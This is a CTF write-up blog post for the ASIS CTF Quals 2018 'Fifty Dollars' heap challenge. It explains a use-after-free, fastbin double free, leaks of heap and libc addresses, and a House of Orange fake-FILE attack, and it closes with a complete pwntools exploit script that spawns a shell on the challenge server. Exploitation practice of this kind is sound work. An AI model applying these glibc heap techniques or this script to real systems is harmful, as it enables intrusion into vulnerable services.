ASIS CTF Quals 2018: Fifty Dollars Write-up

Solved by sherl0ck

I found this challenge the best challenge in this CTF and used the House of Orange to solve it. I dunno whether there is an easier way to solve this. Anyway, the binary that was provided was 64-bit non stripped and dynamically linked one. Here are the mitigations that were imposed on the binary –

gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL

Well, almost every mitigation is enabled. So let’s get to pwning this binary. Reversing it first……

Reversing

It’s a typical CTF style heap challenge and has four functionalities – allocate, show, delete and exit. Let’s take a quick look at what each of these does.

The alloc option malloc’s a chunk of size 0x50 and lets us write the same no. of bytes into it. A pointer to this chunk is stored in a global array of pointers, named ‘heap’. We can specify the index where the pointer is to be written in the heap array.

The show function displays the contents of the chunk at an index specified by the user.

The delete functionality takes in the index from the user and then free the chunk corresponding to that index in the heap array. The pointer to this chunk in the array is not nulled out after freeing it.

Vulnerability

There is a clear use-after-free bug in the free function. But since there is no way to edit a chunk, we’ll have to use double free to malloc arbitrary chunks. This will become clearer as you read on.

Memory Leaks

The use-after-free bug makes getting heap leaks really easy. Just free 2 chunks and view the last freed chunk. It will contain a pointer to the next chunk in its fastbin freelist which is a chunk in the heap, thus providing us with a heap leak.

We will use double free along with this heap leak to get the libc leak. Say that there are 2 fastbin chunks 1 and 2 of the same size.

free(chunk1)  // After this freelist ->chunk1
free(chunk2) // freelist ->chunk2->chunk1
free(chunk1) // freelist ->chunk1->chunk2->chunk1

malloc(size) // chunk1 is returned.
//We write the fd (first 8 bytes of this chunk) with the address where we want allocation.

malloc(size) // chunk2 is returned
malloc(size) // chunk1 returned again
malloc(size) // a chunk at the address we wrote in first malloc is returned

Now we write ‘size’ i.e 0x61 in this challenge, just above chunk 2 and allocate a chunk (say chunk4) here with the double free that was just showed. This chunk will overlap with chunk2 and we can edit the size of chunk2. Now, all we have to do is to set this size field of chunk2 to a value that is greater than the maximum fastbin size and free chunk2 to move it to the unsorted bin. Do remember that the size field of the next chunk corresponding to the size that has overwritten the size of chunk2, should be a valid size with its prev_in_use but set to 1 as must the chunk following this. This is to ensure that free() works properly and does not return errors.  Since chunk2 is an unsorted bin chunk now, it’s fd and bk pointers will contain libc address. Just view chunk2 to print these out.

Here’s a pic of the region, before the double free is used.

overlap

The Exploit

Now how can we use the use-after-free bug to get a shell? Since we can only malloc chunks of size 0x61, we can’t directly allocate a chunk above malloc_hook. But remember chunk4 that we used to edit the size field in the leaks section? Well, now that chunk2 is an unsorted bin chunk and chunk4 overlaps with chunk2, we can overwrite the fd-bk of chunk2 and do an unsorted bin attack. Just free chunk4 and malloc again to get write access to chunk4. But before freeing chunk4, make sure that the size field of the next chunk (i.e chunk4 + 0x60)  contains a valid size with its prev_in_use set, to ensure proper working of free().

Okay, so we have an unsorted bin attack, but what to do with it now? House of Orange came to my mind but the size of the payload for House of Orange (HoO) is more than the size we can write. Thus we’ll have to set up the payload (basically a fake file structure) for HoO separately in different chunks. If you are not familiar with House of Orange it would be best to read it up here before proceeding further.

One thing we have to ensure is that the chain field of this fake file structure is null. If the chain field (offset = 0x68 from the start of structure) overlaps with a size field (i.e the chain field = 0x61) then we’ll have to use the double free again to null out the size.

After this, we try and allocate a chunk from the unsorted bin chunks. This will lead to an error and the abort function will be called which will, in turn, try to call _IO_overflow, from the vtable of our fake file structure.

Imagine my surprise when the malloc call worked perfectly! It was only after some time that I realized that the size of the unsorted bin is set to 0x61 (for HoO) and the malloc is also servicing a size of 0x61. Thus the unsorted bin attack works, but the chunk is allocated back instead of moving it to smallbin[4], thus rendering our exploit useless.

At first, I was trying to somehow place this chunk into smallbin[4] and then call abort() with a double free. But after some time I gave this up and started looking around in the main_arena. In normal HoO, _IO_list_all is overwritten with the address of unsorted bin and we set our victim chunk in smallbin[4], which is the chain pointer if file structure starts at the unsorted bin. Here is a pic of this –

original

So initially smallbin[4] is pointing to ‘0x00007ffff7dd1bc8’ which will be our next file structure. Here is a view of that –

modified

The chain pointer of this is actually smallbin[9], which holds chunks of size 0xb0. Thus if we set the size of our chunk2 to 0xb1, on next malloc (which will request for size 0x61 in our binary), this chunk will be placed in smallbin[9] and abort will get called. abort in turn, calls _IO_flush_all_lockp which will traverse the list till the last element and then call _IO_overflow by looking it up in the vtable of the last entry.

This last entry will be the target chunk if we set its chain pointer to null. Thus if we set our victim chunk size to 0xb1, and malloc another chunk, abort get’s called with our victim chunk in smallbin[9]. We had already set the chain pointer to null so this will be the last entry in the list. We also set the vtable to point to an array of pointers with the fourth entry as the address of system (or else just set all the elements of this array to point to system). So the next time malloc is called, our chain will be set rolling and when _IO_overflow is to be called, system gets called instead, with a pointer to structure start (where we have written ‘/bin/sh’ in accordance with the normal HoO payload) and we get a shell.

Here’s a quick review of what we’ve done so far.

  1. Leak’s
    1. Get heap leak by freeing 2 chunks and viewing last freed chunk
    2. Create a fake chunk on top of chunk2 and get there with double free to edit size of chunk2 to a large one. Free chunk2 to put it in unsorted bin and view it for libc leak.
  2. Exploit
    1. Use the fake chunk to overwrite fd-bk of unsorted bin chunks for House of Orange attack. The rest of the payload (which does not fit within fake chunk) can be given in parts in different chunks.
    2. Set the size of chunk2 to 0xb1.
    3. malloc a chunk and get shell.

A look at the heap after setting up the payload for HoO –

HoO

And here’s the exploit script –

from pwn import *
import sys

HOST='178.62.40.102'
PORT=6001

if len(sys.argv)>1:
    r=remote(HOST,PORT)
else:
    r=process('./fifty_dollars',env={"LD_PRELOAD":"./libc.so.6"})

libc=ELF("./libc.so.6")

def menu(opt,idx):
    r.sendlineafter("Your choice:",str(opt))
    r.sendlineafter("Index:",str(idx))

def alloc(idx,data,l=True):
    menu(1,idx)
    if l:
        r.sendlineafter("Content:",data)
    else:
        r.sendafter("Content:",data)

def show(idx):
    menu(2,idx)

def free(idx):
    menu(3,idx)

def getleak():

    ''' Heap leaks '''

    alloc(0,"A"*8*8+p64(0)+p64(0x61),l=False)
    alloc(1,"B"*8*9+p64(0x61),l=False)
    alloc(2,"C"*8+p64(0)*2+p64(0x61)+p64(0)*5+p64(0x61),l=False)
    alloc(3,"D"*8*9+p64(0x61),l=False)
    alloc(8,"D"*8)
    free(1)
    free(0)
    show(0)
    heap=u64(r.recv(6).ljust(8,'\x00'))-0x60
    log.info("heap @ "+hex(heap))

    ''' libc leaks '''

    free(1) # double free of 1
    alloc(4,p64(heap+0x50)) # change the fd to fake chunk
    alloc(5,"qqqqqqqq")
    alloc(5,"qqqqqqqq")
    alloc(6,p64(0)+p64(0xb1)) # fake chunk allocated. Overwrite the size of next chunk.
    free(4)
    show(1)
    libc.address=u64(r.recv(6).ljust(8,'\x00'))-0x3c4b78
    log.info("libc @ "+hex(libc.address))

    return heap

def exploit(heap):

    ''' Create fake vtable '''

    free(8)
    alloc(8,p64(libc.symbols['system'])*8)

    ''' set the vtable entry of fake filestructure to point to the vtable that was just created '''

    free(3)
    alloc(3,p64(0)+p64(heap+0x190))

    ''' send the HoO payload '''

    free(6)
    alloc(6,("/bin/sh\x00"+     # file structure start
            p64(0xb1)+          # size of next chunk
            p64(0)+             # fd of unsortedbin chunk = 0
            p64(libc.symbols['_IO_list_all']-16)+  # bk = _IO_list_all
            p64(0)+             # _IO_write_ptr
            p64(0x61)).ljust(0x50,'\x00'),l=False) # _IO_write_base

    ''' Null out the chain field of the fake structure '''

    free(2)
    free(0)
    free(2)

    alloc(2,p64(heap+0x80)+p64(0)*8+p64(0),l=False)
    alloc(0,"qqqqqqqq",l=False)
    alloc(2,p64(0)+p64(0)*8+p64(0),l=False)
    alloc(9,p64(0)+p64(0)*8+p64(0),l=False)

    ''' set the chain in action '''

    menu(1,0)

if __name__=='__main__':

    heap=getleak()
    exploit(heap)
    r.interactive()

And on running the exploit –

50$

This was a really fun challenge, although I dunno whether this is the only way to exploit this or not. Hope you enjoyed reading through.

 

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

Blog at WordPress.com.

Up ↑

%d bloggers like this: